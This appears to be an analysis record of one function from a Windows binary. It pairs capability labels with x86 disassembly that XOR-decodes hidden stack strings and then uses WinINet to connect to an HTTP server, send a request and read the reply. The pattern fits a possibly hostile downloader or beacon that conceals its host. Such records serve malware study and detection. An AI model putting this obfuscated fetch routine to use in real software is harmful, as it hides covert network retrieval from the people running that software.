Function at 0x4020d0
Capabilities:
Connect to http server
Contain obfuscated stackstrings
Create http request
Read data from internet
Receive data
Send data
Send http request

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x407667
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x688
mov eax, dword [0x40a008]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x584], ecx
mov dword [ebp - 0x590], ecx
mov dword [ebp - 0x590], ecx
mov dword [ebp - 4], 1
mov dword [ebp - 0x520], 0x95594d9f
mov dword [ebp - 0x51c], 0x385b3418
mov dword [ebp - 0x518], 0xa7adc9e4
mov dword [ebp - 0x514], 0x934e1701
mov dword [ebp - 0x510], 0xa18dd7a1
mov dword [ebp - 0x50c], 0x59b861a6
mov dword [ebp - 0x508], 0x7281c8de
mov dword [ebp - 0x504], 0xcf4a412f
mov dword [ebp - 0x500], 0x5c1d5f3
mov dword [ebp - 0x4fc], 0x903406dc
mov dword [ebp - 0x4f8], 0xe2716b78
mov dword [ebp - 0x4f4], 0xac6a9b65
mov dword [ebp - 0x4f0], 0x5cffeac5
mov dword [ebp - 0x4ec], 0xdf5e37ea
mov dword [ebp - 0x4e8], 0x6dc490d2
mov dword [ebp - 0x4e4], 0xe8451943
mov dword [ebp - 0x4e0], 0x237afce7
mov dword [ebp - 0x4dc], 0x14ba2a70
mov dword [ebp - 0x4d8], 0x154390c
mov dword [ebp - 0x4d4], 0xbf9517d9
mov dword [ebp - 0x4d0], 0x276c9aa9
mov dword [ebp - 0x4cc], 0x1d4a6a3e
mov dword [ebp - 0x4c8], 0x9f412c66
mov dword [ebp - 0x4c4], 0x97555807
mov dword [ebp - 0x4c0], 0x1fb0b67b
mov dword [ebp - 0x4bc], 0x2ac4f1d4
mov dword [ebp - 0x4b8], 0x23d76660
mov dword [ebp - 0x4b4], 0x32f4269d
mov dword [ebp - 0x4b0], 0x7f43c82d
mov dword [ebp - 0x4ac], 0x4deaf882
mov dword [ebp - 0x4a8], 0x50c554fa
mov dword [ebp - 0x4a4], 0x35e8fa7b
mov dword [ebp - 0x4a0], 0x3958042f
mov dword [ebp - 0x49c], 0x15508ec8
mov dword [ebp - 0x498], 0x57fb9774
mov dword [ebp - 0x494], 0x704371b1
mov dword [ebp - 0x490], 0x4c5a5d31
mov dword [ebp - 0x48c], 0x7f58e456
mov dword [ebp - 0x488], 0xf5c69b6e
mov dword [ebp - 0x484], 0x3240aedf
mov dword [ebp - 0x480], 0x2b58ed03
mov dword [ebp - 0x47c], 0x9786b0c
mov dword [ebp - 0x478], 0x19e44b88
mov dword [ebp - 0x474], 0xd20b1e15
mov dword [ebp - 0x470], 0xe0b35c55
mov dword [ebp - 0x46c], 0xe548f69a
mov dword [ebp - 0x468], 0xd5706de2
mov dword [ebp - 0x464], 0x9bc92af3
mov dword [ebp - 0x460], 0xa6725077
mov dword [ebp - 0x45c], 0x77b09820
mov dword [ebp - 0x458], 0xafd4861c
mov dword [ebp - 0x454], 0x9cd7f189
mov dword [ebp - 0x450], 0xcab4c6b9
mov dword [ebp - 0x44c], 0xfbca786e
mov dword [ebp - 0x448], 0xb61937f6
mov dword [ebp - 0x444], 0xfa4bc5b7
mov dword [ebp - 0x440], 0xe67f2f0b
mov dword [ebp - 0x43c], 0x865a2a84
mov dword [ebp - 0x438], 0x24638df0
mov dword [ebp - 0x434], 0xfb5a8c4d
mov dword [ebp - 0x690], 0x952a4dca
mov dword [ebp - 0x68c], 0x3829347d
mov dword [ebp - 0x688], 0xa7ecc9c9
mov dword [ebp - 0x684], 0x932b1766
mov dword [ebp - 0x680], 0xa1f9d7cf
mov dword [ebp - 0x67c], 0x5998619c
mov dword [ebp - 0x678], 0x72eec893
mov dword [ebp - 0x674], 0xcf234155
mov dword [ebp - 0x670], 0x5add59f
mov dword [ebp - 0x66c], 0x901b06bd
mov dword [ebp - 0x668], 0xe25f6b4d
mov dword [ebp - 0x664], 0xac4a9b55
mov dword [ebp - 0x660], 0x5ca7eaed
mov dword [ebp - 0x65c], 0xdf6f37db
mov dword [ebp - 0x658], 0x6de490e9
mov dword [ebp - 0x654], 0xe82c190f
mov dword [ebp - 0x650], 0x230ffc89
mov dword [ebp - 0x110], 0x952a4dca
lea esi, [ebp - 0x648]
mov dword [ebp - 0x10c], 0x3829347d
lea edi, [ebp - 0xc8]
mov dword [ebp - 0x108], 0xa7ecc9c9
mov ecx, 0x2a
mov dword [ebp - 0x104], 0x932b1766
mov dword [ebp - 0x100], 0xa1f9d7cf
mov dword [ebp - 0xfc], 0x5998619c
mov dword [ebp - 0xf8], 0x72eec893
mov dword [ebp - 0xf4], 0xcf234155
mov dword [ebp - 0xf0], 0x5add59f
mov dword [ebp - 0xec], 0x901b06bd
mov dword [ebp - 0xe8], 0xe25f6b4d
mov dword [ebp - 0xe4], 0xac4a9b55
mov dword [ebp - 0xe0], 0x5ca7eaed
mov dword [ebp - 0xdc], 0xdf6f37db
mov dword [ebp - 0xd8], 0x6de490e9
mov dword [ebp - 0xd4], 0xe82c190f
mov dword [ebp - 0xd0], 0x230ffc89
mov dword [ebp - 0xcc], 0x149a2a08
mov dword [ebp - 0x64c], 0x149a2a08
mov dword [ebp - 0x648], 0x16c3974
mov dword [ebp - 0x644], 0xbfca17ef
mov dword [ebp - 0x640], 0x27589a9f
mov dword [ebp - 0x63c], 0x1d6a6a17
mov dword [ebp - 0x638], 0x9f312c27
mov dword [ebp - 0x634], 0x97395877
mov dword [ebp - 0x630], 0x1fe7b61e
mov dword [ebp - 0x62c], 0x2aa6f1b1
mov dword [ebp - 0x628], 0x23be662b
mov dword [ebp - 0x624], 0x32db26e9
mov dword [ebp - 0x620], 0x7f70c818
mov dword [ebp - 0x61c], 0x4dc4f8b5
mov dword [ebp - 0x618], 0x50f354c9
mov dword [ebp - 0x614], 0x35c0fa5b
mov dword [ebp - 0x610], 0x39100464
mov dword [ebp - 0x60c], 0x151d8e9c
mov dword [ebp - 0x608], 0x57d79738
mov dword [ebp - 0x604], 0x702f7191
mov dword [ebp - 0x600], 0x4c315d58
mov dword [ebp - 0x5fc], 0x7f78e433
mov dword [ebp - 0x5f8], 0xf5a39b29
mov dword [ebp - 0x5f4], 0x322baebc
mov dword [ebp - 0x5f0], 0x2b71ed6c
mov dword [ebp - 0x5ec], 0x93b6b2c
mov dword [ebp - 0x5e8], 0x19964be0
mov dword [ebp - 0x5e4], 0xd2661e7a
mov dword [ebp - 0x5e0], 0xe09c5c30
mov dword [ebp - 0x5dc], 0xe579f6af
mov dword [ebp - 0x5d8], 0xd5406dcc
mov dword [ebp - 0x5d4], 0x9bfb2add
mov dword [ebp - 0x5d0], 0xa6425040
mov dword [ebp - 0x5cc], 0x779e9814
mov dword [ebp - 0x5c8], 0xafe4862d
mov dword [ebp - 0x5c4], 0x9cf7f1ba
mov dword [ebp - 0x5c0], 0xcad5c6ea
mov dword [ebp - 0x5bc], 0xfbab7808
mov dword [ebp - 0x5b8], 0xb6703784
mov dword [ebp - 0x5b4], 0xfa7ec598
mov dword [ebp - 0x5b0], 0xe6482f38
mov dword [ebp - 0x5ac], 0x86692aaa
mov dword [ebp - 0x5a8], 0x24638dc6
mov dword [ebp - 0x5a4], 0xfb5a8c4d
rep movsd dword es:[edi], dword [esi]
movaps xmm1, xmmword [ebp - 0x110]
pxor xmm1, xmmword [ebp - 0x520]
movaps xmmword [ebp - 0x110], xmm1
movaps xmm1, xmmword [ebp - 0x100]
pxor xmm1, xmmword [ebp - 0x510]
movaps xmmword [ebp - 0x100], xmm1
movaps xmm1, xmmword [ebp - 0xf0]
pxor xmm1, xmmword [ebp - 0x500]
movaps xmmword [ebp - 0xf0], xmm1
movaps xmm1, xmmword [ebp - 0xe0]
pxor xmm1, xmmword [ebp - 0x4f0]
movaps xmmword [ebp - 0xe0], xmm1
movaps xmm1, xmmword [ebp - 0xd0]
pxor xmm1, xmmword [ebp - 0x4e0]
movaps xmmword [ebp - 0xd0], xmm1
movaps xmm1, xmmword [ebp - 0xc0]
pxor xmm1, xmmword [ebp - 0x4d0]
lea eax, [ebp - 0x110]
movaps xmmword [ebp - 0xc0], xmm1
movaps xmm1, xmmword [ebp - 0xb0]
pxor xmm1, xmmword [ebp - 0x4c0]
movaps xmmword [ebp - 0xb0], xmm1
movaps xmm1, xmmword [ebp - 0xa0]
pxor xmm1, xmmword [ebp - 0x4b0]
movaps xmmword [ebp - 0xa0], xmm1
movaps xmm1, xmmword [ebp - 0x90]
pxor xmm1, xmmword [ebp - 0x4a0]
movaps xmmword [ebp - 0x90], xmm1
movaps xmm1, xmmword [ebp - 0x80]
pxor xmm1, xmmword [ebp - 0x490]
movaps xmmword [ebp - 0x80], xmm1
movaps xmm1, xmmword [ebp - 0x70]
pxor xmm1, xmmword [ebp - 0x480]
movaps xmmword [ebp - 0x70], xmm1
movaps xmm1, xmmword [ebp - 0x60]
pxor xmm1, xmmword [ebp - 0x470]
movaps xmmword [ebp - 0x60], xmm1
movaps xmm1, xmmword [ebp - 0x50]
pxor xmm1, xmmword [ebp - 0x460]
movaps xmmword [ebp - 0x50], xmm1
movaps xmm1, xmmword [ebp - 0x40]
pxor xmm1, xmmword [ebp - 0x450]
push 0
push 0
movaps xmmword [ebp - 0x40], xmm1
movaps xmm1, xmmword [ebp - 0x30]
pxor xmm1, xmmword [ebp - 0x440]
push 0
push 1
push eax
movaps xmmword [ebp - 0x30], xmm1
call dword [sym.imp.WININET.dll_InternetOpenW]
xor ecx, ecx
mov dword [ebp - 0x58c], eax
test eax, eax
jne 0x40288e
mov esi, dword [ebp - 0x584]
lea edx, [ecx + 1]
mov dword [esi + 0x10], ecx
mov dword [esi + 0x14], 0xf
mov byte [esi], cl
mov al, byte [ecx]
inc ecx
test al, al
jne 0x402801
sub ecx, edx
push ecx
push 0
mov ecx, esi
call fcn.00405c90
mov edx, dword [ebx + 0x1c]
cmp edx, 0x10
jb 0x402844
mov ecx, dword [ebx + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40283a
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402888
push edx
push ecx
call fcn.00406c0e
add esp, 8
mov edx, dword [ebx + 0x34]
mov dword [ebx + 0x18], 0
mov dword [ebx + 0x1c], 0xf
mov byte [ebx + 8], 0
cmp edx, 0x10
jb 0x402d97
mov ecx, dword [ebx + 0x20]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x402d8d
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x402d8d
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
mov edx, 7
mov dword [ebp - 0x544], ecx
xor eax, eax
mov dword [ebp - 0x540], edx
mov word [ebp - 0x554], ax
xor esi, esi
mov byte [ebp - 4], 2
cmp dword [ebx + 0x18], esi
jbe 0x40291e
cmp dword [ebx + 0x1c], 0x10
lea eax, [ebx + 8]
cmovae eax, dword [ebx + 8]
movsx ax, byte [eax + esi]
movzx edi, ax
cmp ecx, edx
jae 0x4028f0
lea eax, [ecx + 1]
cmp edx, 8
mov dword [ebp - 0x544], eax
lea eax, [ebp - 0x554]
cmovae eax, dword [ebp - 0x554]
xor edx, edx
mov word [eax + ecx*2], di
mov word [eax + ecx*2 + 2], dx
jmp 0x40290a
push edi
mov byte [ebp - 0x524], 0
push dword [ebp - 0x524]
push ecx
lea ecx, [ebp - 0x554]
call fcn.00406360
mov edx, dword [ebp - 0x540]
inc esi
cmp esi, dword [ebx + 0x18]
jae 0x40291e
mov ecx, dword [ebp - 0x544]
jmp 0x4028b3
cmp edx, 8
lea eax, [ebp - 0x554]
mov edx, 7
cmovae eax, dword [ebp - 0x554]
xor ecx, ecx
xor esi, esi
mov dword [ebp - 0x588], eax
mov dword [ebp - 0x52c], ecx
mov dword [ebp - 0x528], edx
mov word [ebp - 0x53c], si
mov byte [ebp - 4], 3
cmp dword [ebx + 0x30], esi
jbe 0x4029d1
nop dword [eax]
cmp dword [ebx + 0x34], 0x10
lea eax, [ebx + 0x20]
cmovae eax, dword [ebx + 0x20]
movsx ax, byte [eax + esi]
movzx edi, ax
cmp ecx, edx
jae 0x40299d
lea eax, [ecx + 1]
cmp edx, 8
mov dword [ebp - 0x52c], eax
lea eax, [ebp - 0x53c]
cmovae eax, dword [ebp - 0x53c]
xor edx, edx
mov word [eax + ecx*2], di
mov word [eax + ecx*2 + 2], dx
jmp 0x4029b7
push edi
mov byte [ebp - 0x524], 0
push dword [ebp - 0x524]
push ecx
lea ecx, [ebp - 0x53c]
call fcn.00406360
mov edx, dword [ebp - 0x528]
inc esi
cmp esi, dword [ebx + 0x30]
jae 0x4029cb
mov ecx, dword [ebp - 0x52c]
jmp 0x402960
mov eax, dword [ebp - 0x588]
push 0
push 0
push 3
push 0
push 0
push 0x50
push eax
push dword [ebp - 0x58c]
cmp edx, 8
lea esi, [ebp - 0x53c]
cmovae esi, dword [ebp - 0x53c]
call dword [sym.imp.WININET.dll_InternetConnectW]
test eax, eax
jne 0x402b24
mov esi, dword [ebp - 0x584]
xor ecx, ecx
mov dword [esi + 0x10], eax
lea edx, [ecx + 1]
mov dword [esi + 0x14], 0xf
mov byte [esi], al
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x402a20
sub ecx, edx
push ecx
push 0
mov ecx, esi
call fcn.00405c90
mov edx, dword [ebp - 0x528]
cmp edx, 8
jb 0x402a73
mov ecx, dword [ebp - 0x53c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x402a69
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402888
push edx
push ecx
call fcn.00406c0e
add esp, 8
mov edx, dword [ebp - 0x540]
xor eax, eax
mov dword [ebp - 0x52c], 0
mov dword [ebp - 0x528], 7
mov word [ebp - 0x53c], ax
cmp edx, 8
jb 0x402ad0
mov ecx, dword [ebp - 0x554]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x402ac6
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402888
push edx
push ecx
call fcn.00406c0e
add esp, 8
mov edx, dword [ebx + 0x1c]
xor eax, eax
mov dword [ebp - 0x544], 0
mov dword [ebp - 0x540], 7
mov word [ebp - 0x554], ax
cmp edx, 0x10
jb 0x402844
mov ecx, dword [ebx + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40283a
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402888
jmp 0x40283a
mov dword [ebp - 0x430], 0x953c4deb
lea ecx, [ebp - 0x430]
mov dword [ebp - 0x42c], 0x382f3460
mov dword [ebp - 0x428], 0xa787c9cb
mov dword [ebp - 0x424], 0x934e1701
movaps xmm1, xmmword [ebp - 0x430]
mov dword [ebp - 0x5a0], 0x95594d9f
mov dword [ebp - 0x59c], 0x385b3418
mov dword [ebp - 0x598], 0xa7adc9e4
mov dword [ebp - 0x594], 0x934e1701
pxor xmm1, xmmword [ebp - 0x5a0]
push 0
movaps xmmword [ebp - 0x430], xmm1
push 0
mov dword [ebp - 0x428], ecx
lea ecx, [ebp - 0x428]
push ecx
push 0
push 0
mov dword [ebp - 0x5a0], 0x951c4dd8
lea ecx, [ebp - 0x5a0]
mov dword [ebp - 0x59c], 0x385b344c
mov dword [ebp - 0x598], 0xa7adc9e4
mov dword [ebp - 0x594], 0x934e1701
push esi
mov dword [ebp - 0x424], 0
movaps xmm1, xmmword [ebp - 0x5a0]
push ecx
mov dword [ebp - 0x580], 0x95594d9f
mov dword [ebp - 0x57c], 0x385b3418
mov dword [ebp - 0x578], 0xa7adc9e4
mov dword [ebp - 0x574], 0x934e1701
pxor xmm1, xmmword [ebp - 0x580]
push eax
movaps xmmword [ebp - 0x5a0], xmm1
call dword [sym.imp.WININET.dll_HttpOpenRequestW]
mov edi, eax
mov dword [ebp - 0x590], edi
test edi, edi
jne 0x402db7
mov esi, dword [ebp - 0x584]
xor ecx, ecx
mov dword [esi + 0x10], eax
lea edx, [ecx + 1]
mov dword [esi + 0x14], 0xf
mov byte [esi], al
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x402c50
sub ecx, edx
push ecx
push 0
mov ecx, esi
call fcn.00405c90
mov edx, dword [ebp - 0x528]
cmp edx, 8
jb 0x402ca3
mov ecx, dword [ebp - 0x53c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x402c99
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402888
push edx
push ecx
call fcn.00406c0e
add esp, 8
mov edx, dword [ebp - 0x540]
xor eax, eax
mov dword [ebp - 0x52c], 0
mov dword [ebp - 0x528], 7
mov word [ebp - 0x53c], ax
cmp edx, 8
jb 0x402d00
mov ecx, dword [ebp - 0x554]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x402cf6
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402888
push edx
push ecx
call fcn.00406c0e
add esp, 8
mov edx, dword [ebx + 0x1c]
xor eax, eax
mov dword [ebp - 0x544], 0
mov dword [ebp - 0x540], 7
mov word [ebp - 0x554], ax
cmp edx, 0x10
jb 0x402d51
mov ecx, dword [ebx + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x402d47
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402888
push edx
push ecx
call fcn.00406c0e
add esp, 8
mov edx, dword [ebx + 0x34]
mov dword [ebx + 0x18], 0
mov dword [ebx + 0x1c], 0xf
mov byte [ebx + 8], 0
cmp edx, 0x10
jb 0x402d97
mov ecx, dword [ebx + 0x20]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x402d8d
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402888
push edx
push ecx
call fcn.00406c0e
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0040677c
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
push 0
push 0
push 0
push 0
push edi
call dword [sym.imp.WININET.dll_HttpSendRequestW]
test eax, eax
jne 0x402ee9
mov esi, dword [ebp - 0x584]
xor ecx, ecx
mov dword [esi + 0x10], eax
lea edx, [ecx + 1]
mov dword [esi + 0x14], 0xf
mov byte [esi], al
mov al, byte [ecx]
inc ecx
test al, al
jne 0x402de5
sub ecx, edx
push ecx
push 0
mov ecx, esi
call fcn.00405c90
mov edx, dword [ebp - 0x528]
cmp edx, 8
jb 0x402e38
mov ecx, dword [ebp - 0x53c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x402e2e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402888
push edx
push ecx
call fcn.00406c0e
add esp, 8
mov edx, dword [ebp - 0x540]
xor eax, eax
mov dword [ebp - 0x52c], 0
mov dword [ebp - 0x528], 7
mov word [ebp - 0x53c], ax
cmp edx, 8
jb 0x402e95
mov ecx, dword [ebp - 0x554]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x402e8b
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402888
push edx
push ecx
call fcn.00406c0e
add esp, 8
mov edx, dword [ebx + 0x1c]
xor eax, eax
mov dword [ebp - 0x544], 0
mov dword [ebp - 0x540], 7
mov word [ebp - 0x554], ax
cmp edx, 0x10
jb 0x402844
mov ecx, dword [ebx + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40283a
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402888
jmp 0x40283a
xor esi, esi
mov dword [ebp - 0x56c], 0xf
mov dword [ebp - 0x570], esi
mov byte [ebp - 0x580], 0
or eax, 0xffffffff
mov byte [ebp - 4], 4
mov dword [ebp - 0x524], eax
nop
test eax, eax
je 0x402fbe
lea eax, [ebp - 0x524]
push eax
push 0x400
lea eax, [ebp - 0x420]
push eax
push edi
call dword [sym.imp.WININET.dll_InternetReadFile]
mov ecx, dword [ebp - 0x56c]
mov edi, dword [ebp - 0x524]
mov dword [ebp - 0x588], eax
mov eax, ecx
sub eax, esi
push edi
cmp edi, eax
ja 0x402f7e
lea eax, [esi + edi]
cmp ecx, 0x10
mov dword [ebp - 0x570], eax
lea eax, [ebp - 0x580]
cmovae eax, dword [ebp - 0x580]
add esi, eax
lea eax, [ebp - 0x420]
push eax
push esi
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
mov byte [esi + edi], 0
jmp 0x402f9e
lea eax, [ebp - 0x420]
mov byte [ebp - 0x58c], 0
push eax
push dword [ebp - 0x58c]
lea ecx, [ebp - 0x580]
push edi
call fcn.00406200
cmp dword [ebp - 0x588], 0
je 0x402fbe
mov esi, dword [ebp - 0x570]
mov eax, dword [ebp - 0x524]
mov edi, dword [ebp - 0x590]
jmp 0x402f10
mov esi, dword [ebp - 0x584]
movups xmm0, xmmword [ebp - 0x580]
mov edx, dword [ebp - 0x528]
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
movups xmmword [esi], xmm0
movq xmm0, qword [ebp - 0x570]
movq qword [esi + 0x10], xmm0
cmp edx, 8
jb 0x403029
mov ecx, dword [ebp - 0x53c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x40301f
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402888
push edx
push ecx
call fcn.00406c0e
add esp, 8
mov edx, dword [ebp - 0x540]
xor eax, eax
mov dword [ebp - 0x52c], 0
mov dword [ebp - 0x528], 7
mov word [ebp - 0x53c], ax
cmp edx, 8
jb 0x403086
mov ecx, dword [ebp - 0x554]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x40307c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402888
push edx
push ecx
call fcn.00406c0e
add esp, 8
mov edx, dword [ebx + 0x1c]
xor eax, eax
mov dword [ebp - 0x544], 0
mov dword [ebp - 0x540], 7
mov word [ebp - 0x554], ax
cmp edx, 0x10
jb 0x402844
mov ecx, dword [ebx + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40283a
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402888
jmp 0x40283a